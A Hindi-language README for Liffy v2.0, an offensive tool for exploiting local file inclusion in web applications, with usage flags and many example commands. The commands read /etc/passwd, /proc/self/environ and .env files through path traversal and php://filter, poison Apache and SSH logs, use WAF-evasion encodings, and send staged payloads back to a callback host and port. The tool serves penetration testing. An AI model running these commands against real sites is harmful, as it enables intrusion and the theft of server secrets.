
स्थानीय फ़ाइल समावेशन शोषण उपकरण

स्थानीय फ़ाइल समावेशन (LFI) शोषण के लिए एक शक्तिशाली पायथन उपकरण, जिसमें उन्नत सुविधाएँ जैसे WAF बायपास, एन्कोडिंग तकनीक और व्यापक भेद्यता पहचान शामिल हैं।
Liffy v2.0, liffy का महत्वपूर्ण रूप से उन्नत संस्करण है, जो मूल रूप से rotlogix/liffy द्वारा बनाया गया था। इस संस्करण में Rich टर्मिनल आउटपुट, YAML कॉन्फ़िगरेशन, उन्नत थ्रेडिंग और कई उन्नत शोषण तकनीकें जैसी आधुनिक सुविधाएँ शामिल हैं।
⚠️ बहुत सारे नए बदलाव वाइब कोडेड थे।
सुनिश्चित करें कि आप पायथन 3 का उपयोग कर रहे हैं। Liffy पायथन 2 का समर्थन नहीं करता है। नीचे दिए गए उदाहरण uv run python का उपयोग करते हैं ताकि कमांड प्रोजेक्ट वातावरण के अंदर चलें।
# uv इंस्टॉल करें यदि आपने पहले नहीं किया है
curl -LsSf https://astral.sh/uv/install.sh | sh
# रिपॉजिटरी क्लोन करें
git clone https://github.com/mzfr/liffy
cd liffy
# uv के साथ वर्चुअल एनवायरनमेंट बनाएं
uv venv
# pyproject.toml से निर्भरताएँ इंस्टॉल करें
uv sync
# liffy चलाएं
uv run python liffy.py --help
uv run python liffy.py <URL> [विकल्प]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--auto]
[--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
positional arguments:
url LFI के लिए परीक्षण करने हेतु URL
मुख्य तकनीकें:
-d, --data data:// तकनीक का उपयोग करें
-i, --input input:// तकनीक का उपयोग करें
-e, --expect expect:// तकनीक का उपयोग करें
-f, --filter filter:// तकनीक का उपयोग करें
-p, --proc /proc/self/environ तकनीक का उपयोग करें
-a, --access Apache एक्सेस लॉग तकनीक
--ssh SSH प्रमाणीकरण लॉग विषाक्तीकरण
-dt, --directorytraverse निर्देशिका ट्रैवर्सल के लिए परीक्षण
--null-byte नल बाइट विषाक्तीकरण के लिए परीक्षण
--zip ZIP रैपर शोषण के लिए परीक्षण
--wrappers, --wrapper सामान्य LFI स्ट्रीम रैपरों का पता लगाएं
--wrapper-list WRAPPER_LIST
कस्टम रैपर जांच पेलोड सूची का पथ
--oob आउट-ऑफ-बैंड कॉलबैक जांच भेजें
--oob-url OOB_URL OOB कॉलबैक आधार URL
--blind ब्लाइंड LFI प्रतिक्रिया-अंतर जांच चलाएं
--blind-list BLIND_LIST
कस्टम ब्लाइंड LFI जांच सूची का पथ
--auto एक सुरक्षित स्वचालित स्कैन योजना चलाएं
उन्नत विकल्प:
--encoding उन्नत एन्कोडिंग/बायपास तकनीकों का उपयोग करें
--waf-bypass WAF चोरी तकनीकों का उपयोग करें
--method {GET,POST} HTTP विधि (डिफ़ॉल्ट: GET)
--post-data POST_DATA POST डेटा (प्रारूप: key=value&key2=value2)
--headers HEADERS कस्टम हेडर (प्रारूप: Header1:Value1,Header2:Value2)
--detection केवल LFI पहचान करें, शोषण नहीं
अनुरोध विकल्प:
--timeout TIMEOUT HTTP अनुरोध टाइमआउट सेकंड में
--proxy PROXY HTTP(S) प्रॉक्सी URL, जैसे http://127.0.0.1:8080
--verify-tls असुरक्षित अनुरोधों का उपयोग करने के बजाय TLS प्रमाणपत्र सत्यापित करें
--user-agent UA कस्टम User-Agent हेडर
--delay DELAY अनुरोधों के बीच विलंब सेकंड में
--retries RETRIES प्रति अनुरोध HTTP पुनर्प्रयास
स्वचालन विकल्प:
--lhost LHOST स्टेज्ड पेलोड के लिए कॉलबैक होस्ट
--lport LPORT स्टेज्ड पेलोड के लिए कॉलबैक पोर्ट
--read-file PATH filter:// के साथ पढ़ने के लिए फ़ाइल पथ
-y, --yes संकेतों के लिए डिफ़ॉल्ट का उपयोग करें और गैर-संवादात्मक रूप से चलाएं
--json JSON रन सारांश प्रिंट करें
--output OUTPUT JSON रन सारांश फ़ाइल में लिखें
--quiet सामान्य टर्मिनल आउटपुट दबाएं
सामान्य विकल्प:
-ns, --nostager पेलोड को सीधे निष्पादित करें, स्टेजर का उपयोग न करें
-r, --relative हमले के लिए पथ ट्रैवर्सल अनुक्रमों का उपयोग करें
-l, --location LOCATION लक्ष्य फ़ाइल का पथ (एक्सेस लॉग, auth लॉग, आदि)
--cookies COOKIES प्रमाणीकरण के लिए सत्र कुकीज़
-t, --threads THREADS उपयोग करने के लिए थ्रेड्स की संख्या (डिफ़ॉल्ट: 5)
--no-color रंगीन आउटपुट अक्षम करें
--no-banner बैनर प्रदर्शन अक्षम करें
--config डिफ़ॉल्ट YAML कॉन्फ़िगरेशन फ़ाइल बनाएं
स्थायी सेटिंग्स के लिए एक कॉन्फ़िगरेशन फ़ाइल बनाएं:
uv run python liffy.py --config
यह डिफ़ॉल्ट सेटिंग्स के साथ liffy_config.yaml बनाता है:
# Liffy कॉन्फ़िगरेशन फ़ाइल
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
डिफ़ॉल्ट रूप से स्टार्टअप बैनर/लोगो छुपाने के लिए disable_banner: true सेट करें। CLI झंडे अभी भी कॉन्फ़िग मानों को ओवरराइड करते हैं, इसलिए एकल रन के लिए आप --no-banner, --no-color, या --quiet का भी उपयोग कर सकते हैं।
आप पर्यावरण चर का भी उपयोग कर सकते हैं:
LIFFY_THREADS - थ्रेड्स की संख्याLIFFY_RATE_LIMIT - दर सीमा विलंबLIFFY_NO_COLOR - रंग अक्षम करें (true/false)जब --waf-bypass सक्षम किया जाता है, liffy स्वचालित रूप से कई चोरी तकनीकों को लागू करता है:
/**/, #, ;file:///, pHp://./, ../, नल बाइट्स--encoding के साथ, liffy उन्नत एन्कोडिंग विधियाँ लागू करता है:
%252e%252e%252f\u002e\u002e\u002f..%2F, ..%2f../# फॉर्म डेटा के साथ POST
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# कस्टम हेडर के साथ POST
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# ट्रैफ़िक को स्थानीय प्रॉक्सी के माध्यम से भेजें और अस्थायी विफलताओं पर पुनः प्रयास करें
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# एक निश्चित User-Agent और कस्टम अनुरोध विलंब का उपयोग करें
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
रैपर पहचान file://, php://filter, data://, php://temp, php://memory और संबंधित रैपरों के लिए सुरक्षित डिफ़ॉल्ट जांच का उपयोग करती है। zip://, phar://, और glob:// को सूचनात्मक/सशर्त माना जाता है क्योंकि उन्हें आमतौर पर लक्ष्य-पक्ष फ़ाइलों या सिंक व्यवहार की आवश्यकता होती है जो सूची प्रकट करता है।
आप एक कस्टम रैपर पेलोड सूची प्रदान कर सकते हैं। यदि --wrapper-list छोड़ दिया जाता है, तो liffy अंतर्निहित जांच पर वापस आ जाता है:
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
प्रत्येक गैर-रिक्त पंक्ति या तो एक कच्चा पेलोड या name=payload हो सकती है:
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
इसे HTTP/DNS कॉलबैक श्रोता के साथ उपयोग करें। Liffy URL-रैपर शैली के पेलोड भेजता है और आप सत्यापित करते हैं कि लक्ष्य वापस कॉल करता है या नहीं।
uv run python liffy.py "http://example.com/page.php?file=" --blind
ब्लाइंड जांच मौजूदा-फ़ाइल जांच की तुलना यादृच्छिक गुम-फ़ाइल आधार रेखाओं से करती है और स्थिति, लंबाई, या समय अंतर की रिपोर्ट करती है जब सामग्री सीधे प्रतिबिंबित नहीं होती है।
आप एक कस्टम ब्लाइंड जांच सूची प्रदान कर सकते हैं। यदि --blind-list छोड़ दिया जाता है या खाली है, तो liffy अंतर्निहित जांच का उपयोग करता है:
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
प्रत्येक गैर-रिक्त पंक्ति या तो एक कच्चा पेलोड या name=payload हो सकती है:
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto केवल-पहचान निर्देशिका ट्रैवर्सल, रैपर जांच और ब्लाइंड जांच को सक्षम करता है। यदि --oob-url भी प्रदान किया गया है, तो इसमें OOB जांच शामिल होती है।
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
जब कोई कस्टम पथ निर्दिष्ट नहीं किया जाता है तो निम्नलिखित डिफ़ॉल्ट स्थानों का उपयोग किया जाता है:
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_logहम योगदान का स्वागत करते हैं! यहां बताया गया है कि आप कैसे मदद कर सकते हैं:
किसी भी प्रश्न या सुझाव के लिए बेझिझक एक मुद्दा खोलें!
Liffy का पहचान मोड व्यापक भेद्यता विश्लेषण प्रदान करता है:
/etc/passwd सामग्री[+] भेद्यता सारांश
==================================================
[1] भेद्यता पाई गई
पेलोड: ../../etc/passwd
विश्वास: 85%
साक्ष्य: Linux /etc/passwd फ़ाइल: root:
स्थिति कोड: 200
सामग्री लंबाई: 1547
# WAF बायपास तकनीकों का उपयोग करें
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# थ्रेड गिनती कम करें और विलंब बढ़ाएं
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# कॉन्फ़िग फ़ाइल में विलंब बढ़ाएं
max_threads: 2
rate_limit_delay: 1.0
वर्बोज़ आउटपुट के लिए, आप कॉन्फ़िगरेशन को संशोधित कर सकते हैं:
debug_mode: true
verbose_output: true
Liffy केवल अधिकृत सुरक्षा परीक्षण के लिए डिज़ाइन किया गया है।
लेखक इस उपकरण के दुरुपयोग के लिए जिम्मेदार नहीं हैं।
यह प्रोजेक्ट GNU जनरल पब्लिक लाइसेंस v3.0 के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।